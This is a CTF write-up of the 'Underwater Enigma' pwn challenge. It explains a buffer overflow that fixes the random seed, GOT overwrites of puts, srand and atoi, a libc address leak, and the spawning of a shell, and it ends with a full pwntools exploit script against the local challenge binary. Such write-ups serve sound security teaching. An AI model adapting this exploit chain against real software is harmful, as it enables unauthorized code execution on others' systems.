3 min read

[CTF] WU - Underwater Enigma

CTF InterCampus Ynov 2024

Difficulty Level : Hard

Challenge Category : PWN

Description :

You are a diver on a mission to unlock a mysterious underwater artifact. To succeed, you must crack a series of artifact codes generated by the deep-sea currents. However, this task is not easy, you have only two attempts to get the codes right, and if you make a mistake, you can correct one of the codes each time.

Challenge Description

In this challenge, the goal is to exploit a program that uses predictable randomness, buffer overflows, and Global Offset Table (GOT) overwrites to bypass security and achieve a shell. The binary has several vulnerabilities that allow us to manipulate memory and control execution flow.


Vulnerabilities and Exploitation Steps

1. Buffer Overflow in main()

The program contains a buffer overflow vulnerability in the read() function:

printf("What is your name: ");
read(0, diverName, 0x100);
  • The diverName buffer is declared with a size of 0x10 (16 bytes), but read() reads up to 0x100 (256 bytes), leading to a buffer overflow.
  • By sending 20 bytes of padding followed by the address of read in the Global Offset Table (GOT), we overwrite the timeSeed variable, which determines the random number sequence.

2. Controlled Random Number Generation

The program generates a sequence of artifact codes using the following code:

srand(timeSeed);
for (int i = 0 ; i <= 5 ; ++i) {
    artifactCodes[i] = rand() % 1337;
}
  • The artifact codes are seeded with the current time using timeSeed = time(0).
  • Since we control timeSeed via the buffer overflow, we can predict the sequence of artifactCodes by mimicking the random number generation in our exploit script.

Python Script to Predict Artifact Codes

import ctypes

guessed_list = []
libc2.srand(seed)  # Use the overwritten seed
for i in range(6):
    guessed = libc2.rand() % 1337
    log.info(f"guessed = {guessed}")
    guessed_list.append(guessed)

By loading the same libc library and using the same seed, we predict the exact sequence of random numbers.


3. GOT Overwrite

The binary is compiled with Partial RELRO, allowing us to overwrite GOT entries. Here's how we exploit this:

First Round: Overwrite puts

  • We calculate the index of puts in GOT relative to the diverCodes array:
    idx1 = puts_low = (elf.got.puts - elf.sym.diverCodes) // 4 + 1
    idx2 = puts_high = (elf.got.puts - elf.sym.diverCodes) // 4 + 2
    
  • In two attempts:
    1. Write the low 4 bytes of puts to point to the underwaterChallenge function.
    2. Write the high 4 bytes of puts.
overwrite(puts_low, elf.sym.underwaterChallenge)
overwrite(puts_high, 0x00000000)

This makes puts point to underwaterChallenge, allowing repeated exploitation.

Second Round: Leak libc Address

  • Overwrite srand in GOT with puts@plt + 6 to leak the libc address:
    idx1 = srand_low = (elf.got.srand - elf.sym.diverCodes) // 4 + 1
    idx2 = srand_high = (elf.got.srand - elf.sym.diverCodes) // 4 + 2
    
  • In two attempts:
    1. Write the low 4 bytes of puts@plt + 6.
    2. Write the high 4 bytes.
overwrite(srand_low, elf.plt.puts + 6)
overwrite(srand_high, 0x00000000)

When srand is called, it leaks the read@got address, allowing us to calculate the libc base.

Third Round: Overwrite atoi with system

  • Calculate the libc base and locate the system function:
    libc.address = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - libc.sym.read
    system = libc.sym.system
    
  • Overwrite atoi in GOT with the system address:
    idx1 = atoi_addr = (elf.got.atoi - elf.sym.diverCodes) // 4 + 1
    overwrite(atoi_addr, system)
    

Finally, pass /bin/sh as input to atoi to spawn a shell.


Exploit Script

Here’s the full exploit script:

#!/usr/bin/env python

from pwn import *
import ctypes

elf = ELF("./main", checksec=True)
context.binary = elf
r = None

def conn():
    global r
    if args.LOCAL:
        r = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("127.0.0.1", 1234)
    return r

def guess(arr):
    global r
    for i in range(0, 6):
        r.sendlineafter(b'Enter code number %s: ' % str(i).encode(), str(arr[i]).encode())

def overwrite(i, s):
    global r
    r.sendlineafter(b': ', b'1')
    r.sendlineafter(b': ', str(i).encode())
    r.sendlineafter(b': ', str(int(s)).encode())

def main():
    global r
    r = conn()

    libc2 = ctypes.cdll.LoadLibrary('./DockerLibc/libc.so.6')
    seed = elf.got.read
    libc2.srand(seed)
    guessed_list = [libc2.rand() % 1337 for _ in range(6)]

    payload = b'A'*20 + p64(elf.got.read)
    r.sendlineafter(b'name: ', payload)
    r.sendlineafter(b'you: ', b'18')

    # First Round
    overwrite((elf.got.puts - elf.sym.diverCodes) // 4 + 1, elf.sym.underwaterChallenge)
    overwrite((elf.got.puts - elf.sym.diverCodes) // 4 + 2, 0x00000000)
    guess(guessed_list)

    # Second Round
    overwrite((elf.got.srand - elf.sym.diverCodes) // 4 + 1, elf.plt.puts + 6)
    overwrite((elf.got.srand - elf.sym.diverCodes) // 4 + 2, 0x00000000)
    guess(guessed_list)

    libc = ELF('./DockerLibc/libc.so.6')
    libc.address = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - libc.sym.read
    system = libc.sym.system

    # Third Round
    overwrite((elf.got.atoi - elf.sym.diverCodes) // 4 + 1, system)
    r.sendline(b'/bin/sh\x00')
    r.interactive()

if __name__ == "__main__":
    main()